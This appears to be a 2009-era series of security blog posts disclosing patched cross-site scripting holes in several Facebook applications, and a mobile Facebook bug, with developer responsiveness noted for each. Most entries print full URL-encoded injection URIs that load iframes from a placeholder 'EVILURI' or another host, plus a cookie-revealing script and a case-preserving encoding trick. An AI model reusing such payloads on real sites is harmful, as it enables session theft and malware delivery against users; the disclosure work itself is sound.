The Social Media Security Podcast

(This makes up for Monday’s FAXX Hack absence.)

Several Facebook applications serve to create other Facebook applications. For example, “Make a Gift!” lets users create applications for sending themed virtual gifts to friends. The user specifies various custom parameters for their new application, but the actual code is hosted by the original application.

This means, though, that a vulnerability in the codebase applies to every application built on it. Case in point: Earlier this week, I discovered an XSS hole in Make a Gift! applications.  As an example, this URI demonstrates the hole for the Friends! gift application:http://apps.facebook.com/friendsbghdkbhfbpgkg/?target=calendar-w&month=10&year=2009)%22%3E%3C%2Fa%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Fgifts.applatform.com%2Fa%2F1673%2F%3Fajax%3D1%26target%3Dcalendar-w%26month%3D10%26year%3D2009)%2522%253E%253C%252Fa%253E%253Ciframe%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%253E%22%3E

To launch an attack against another gift application, one only need change the canvas URI and the 4-digit number in the gifts.applatform.com URI. The largest applications I know of built with Make a Gift! are Friends! (2,135,691 monthly active users) and Birthday (2,993,635 monthly active users). From browsing the Make a Gift! application, I counted at least 9,689 applications built using it, and the above vulnerability applied to every one of them. The hole was also capable of a clickjacking install.

I did not have a direct contact for the developer of the Make a Gift! application, but I notified Facebook and they passed on word. Fortunately, the codebase was patched fairly quickly.

Facebook Verified Application

Current Monthly Active Users: 5,024,914

Current Rank on Application Leaderboard: 30

Application Developer: Familybuilder

Responsiveness: Familybuilder responded quickly, patched all the issues within a day or two, and sent updates on their progress.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Technical Details:

1. If a person wrote a comment on a user’s Family Feed containing FBML, that code would then be rendered when the feed was loaded, e.g. <fb:iframe src=’http://google.com/‘>.
2. If a user included FBML in sections of his/her Facebook profile information, this would be rendered when someone viewed the “Info” tab of the user’s Family Tree profile.
3. If a user inserted an FBML iframe that then referenced the direct URI of their Family Tree profile, this would in turn load malicious scripts embedded in the Family Tree page.  For example, inserting <fb:iframe src=”http://fb.apps.familybuilder.com/newfamilytree/scripts/profileInfo.php?profileid=PROFILENUM“> and <script>alert(document.cookie);</script> in a user’s Facebook profile, with the correct Family Tree profile number filled in, would have displayed the cookies on loading the “Info” tab.

Notes: This is an example of a persistent XSS hole – a bug I had not been looking for, but after Tom Eston found one in another application (to be posted later this week), I began keeping an eye out for them.

Today I’m going to take a break from posting application holes, though not due to lack of material. I have several vulnerabilities ready to post, but I’m giving developers time to ensure their applications are secure. A few requests forced me to adjust my schedule, so I’ll make up for today’s omission in the future.

In the mean time, I thought I would share another Facebook bug that security researcher Pierre Gardenat sent to me. Full credit for this bug goes to Gardenat.

Earlier this year, he published a paper (PDF, French) on XSS vulnerabilities within Facebook itself. As his paper notes, Facebook did issue fixes, but only at the presentation layer. Facebook apparently did not take steps to identify harmful code already stored in their databases, or provide filters to avoid more code from being inserted.

Consequently, another attack vector surfaced when another facet of the presentation layer remained unpatched. First, a user could enter script tags with code in the screen name field of their profile’s contact information. Visiting Facebook in a desktop browser would not load the script, as presentation layer filters prevented it from being rendered as script. However, the mobile version of Facebook at m.facebook.com did not have such protections, and the script would execute fine.

This is an example of a persistent XSS hole, as opposed to the reflected XSS holes I’ve been posting so far. The attack code is stored within the application and loaded whenever a user visits a page that loads the code. In some ways this type of attack is more powerful than a standard reflected XSS attack.

Facebook has, of course, patched the mobile site now. But understanding the layers involved in dealing with XSS holes is an important lesson. And it’s one Facebook applications should not ignore, since they too can become susceptible to persistent XSS holes. In fact, two applications (one a Facebook Verified Application) vulnerable in this way have already been discovered, and I plan on posting details of the problems later this week as FAXX hacks.

Facebook Verified Application

Current Monthly Active Users: 2,400,608

Current Rank on Application Leaderboard: 64

Application Developer: Green Patch

Responsiveness: Green Patch did not send any messages, but did patch the hole.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Example URI: http://apps.facebook.com/greentrees/house.php?userId=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%2F%22%3E

Notes: This example URI once again does not include a standard double-injection trick. But I was unable to create such an exploit not because of a server whitelist or secure code. In fact, quite the opposite was true – nearly every time I tried to insert FBML or HTML into various pages, I ended up getting SQL errors. It quickly became clear that multiple SQL injection holes existed in this application. In this case, such problems weren’t entirely serious for users, as attacks would be accessing the application database, which does not store any sensitive information. Still, it’s disconcerting to find so many SQL injection holes in a Facebook Verified Application with over 2 million monthly active users.

Sorry for not posting yesterday – I’ll post another FAXX Hack in a bit to make up for it.

Facebook Verified Application

Current Monthly Active Users: 22,215

Current Rank on Application Leaderboard: 1,165

Application Developer: Large Animal Games

Responsiveness: LAG did not send any messages, but did patch the hole within a day or two. Actually, LAG was very responsive and moved swiftly to fix the holes, replying within minutes and posting a fix within hours. But for some reason, Gmail flagged the messages as spam and thus I didn’t notice them. My apologies to LAG, they did great work and I appreciate it!

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/bananagrams/invite.php?tp_code=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%22%3E

Facebook Verified Application

Current Monthly Active Users: 83,243

Current Rank on Application Leaderboard: 539

Application Developer: Large Animal Games

Responsiveness: LAG did not send any messages, but did patch the hole within a day or two. Actually, LAG was very responsive and moved swiftly to fix the holes, replying within minutes and posting a fix within hours. But for some reason, Gmail flagged the messages as spam and thus I didn’t notice them. My apologies to LAG, they did great work and I appreciate it!

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/luckystrikelanes/invite.php?tp_code=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%22%3E

Facebook Verified Application

Current Monthly Active Users: 55,431

Current Rank on Application Leaderboard: 659

Application Developer: Large Animal Games

Responsiveness: LAG did not send any messages, but did patch the hole within a day or two. Actually, LAG was very responsive and moved swiftly to fix the holes, replying within minutes and posting a fix within hours. But for some reason, Gmail flagged the messages as spam and thus I didn’t notice them. My apologies to LAG, they did great work and I appreciate it!

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/bumperstars/invite.php?tp_code=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%22%3E

Notes: You’ll notice the example URI only inserts an iframe, rather than attempting the sort of double-injection of previous examples. Bumper Stars, and two other Large Animal Games applications that will be posted soon, use Facebook’s server whitelist feature for API requests. This means that trying to use injected JavaScript to make API calls will fail, as they originate from the user’s computer and not LAG’s servers. One could still have used the XSS hole to launch a malware attack, but using the whitelist prevents stealing profile information or launching a viral attack via notifications and feed stories.

Bumper Stars was the first application I’ve encountered that made use of the server whitelist feature, and I commend LAG for that step. But while the feature can prevent many of the attacks I’ve outlined, it is not practical for every application. Many other developers make use of the JavaScript API for legitimate calls, and these would fail if the developer enabled a server whitelist.

Facebook Verified Application

Current Monthly Active Users: 28,778

Current Rank on Application Leaderboard: 963

Application Developer: kaChing Group, Inc.

Responsiveness: I received an e-mail from kaChing saying the patch was fixed about six hours after notifying them.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Example URI: http://apps.facebook.com/kaching/portfolio/trade?symbol=%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Fwww.kaching.com%2F%26%23×66%3B%26%23×62%3B%2F%26%23×70%3B%26%23×6F%3B%26%23×72%3B%26%23×74%3B%26%23×66%3B%26%23×6F%3B%26%23×6C%3B%26%23×69%3B%26%23×6F%3B%2F%26%23×74%3B%26%23×72%3B%26%23×61%3B%26%23×64%3B%26%23×65%3B%3F%26%23×73%3B%26%23×79%3B%26%23×6D%3B%26%23×62%3B%26%23×6F%3B%26%23×6C%3B%3D%253Ciframe%2Bsrc%253D%2522http%253A%252F%252Ffbl.li%252Fr%252F%2522%253E%22%3E

Notes: This hole was very straightforward, but fully exploiting it required one more trick. Since the injected parameter was a stock symbol, the resulting page would automatically capitalize the input when displaying an error message. That meant that the injected URI became uppercase when it needed to be lowercase. To combat that issue, I converted the text parts of the URI to hex encodings, then had to encode those values for a URI. All these steps resulted in the rather lengthy URI above, which did preserve capitalization.

P.S. Those should be lowercase x’s in the example URI.